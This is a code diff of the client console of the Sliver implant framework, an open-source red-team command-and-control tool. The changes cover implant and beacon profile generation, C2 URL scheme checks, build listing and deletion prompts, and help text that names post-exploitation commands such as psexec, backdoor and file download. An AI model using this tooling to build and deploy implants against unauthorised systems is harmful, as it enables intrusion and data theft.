||||
switch format {
|
||||
case "exe":
|
||||
@@ -265,6 +263,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -303,6 +302,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
|
||||
// TODO: Use generics or something to check in a slice
|
||||
connectionStrategy := ctx.Flags.String("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return nil
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -317,6 +323,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
|
||||
ConnectionStrategy: connectionStrategy,
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
@@ -331,6 +338,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
}
|
||||
|
||||
return config
|
||||
@@ -394,6 +403,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "mtls" {
|
||||
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
|
||||
}
|
||||
@@ -415,17 +427,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "mtls://") {
|
||||
if strings.HasPrefix(arg, "wg://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "wg" {
|
||||
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
|
||||
}
|
||||
@@ -458,6 +473,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -487,6 +505,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -503,19 +524,37 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
arg = strings.ToLower(arg)
|
||||
arg = strings.ReplaceAll(arg, "\\", "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
arg = strings.TrimPrefix(arg, "/")
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "namedpipe" {
|
||||
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(uri.Path, "/pipe/") {
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
|
||||
}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
|
||||
}
|
||||
}
|
||||
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -535,16 +574,25 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Scheme != "tcppivot" {
|
||||
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -2,7 +2,9 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +12,24 @@ import (
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
}
|
||||
build := ImplantBuildByName(name, con)
|
||||
if build == nil {
|
||||
con.PrintErrorf("No implant build found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
|
||||
@@ -19,19 +19,29 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
type ImplantBuildFilter struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Beacon bool
|
||||
Session bool
|
||||
Format string
|
||||
Debug bool
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("OS/Arch")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
)
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
if 0 < len(config.C2) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
sliverName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
config.Format,
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
)
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
)
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
|
||||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for sliverName, build := range builds.Configs {
|
||||
if sliverName == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -30,9 +30,9 @@ import (
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("no profile selected")
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
@@ -1,5 +1,22 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -10,11 +27,7 @@ import (
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile
|
||||
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +30,24 @@ import (
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("No profile found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
|
||||
@@ -21,15 +21,15 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
|
||||
return
|
||||
} else {
|
||||
PrintProfiles(profiles, con)
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
}
|
||||
|
||||
// PrintProfiles - Print the profiles
|
||||
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Profile Name",
|
||||
"Implant Type",
|
||||
"Platform",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
|
||||
obfuscation := "disabled"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "enabled"
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
profile.Name,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
// GetImplantProfileByName - Get an implant profile by a specific name
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if strings.HasPrefix(profile.Name, prefix) {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
@@ -97,8 +97,13 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
|
||||
con.Println()
|
||||
con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
|
||||
con.Println()
|
||||
}
|
||||
|
||||
func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,6 +84,7 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -211,12 +212,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
|
||||
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
|
||||
profiles generate my-profile-name
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
@@ -278,7 +279,26 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
|
||||
|
||||
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
|
||||
[[.Bold]]About:[[.Normal]] Download a file from the remote system.`
|
||||
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit downloads to file names matching given criteria. Filters DO NOT apply to directory names.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
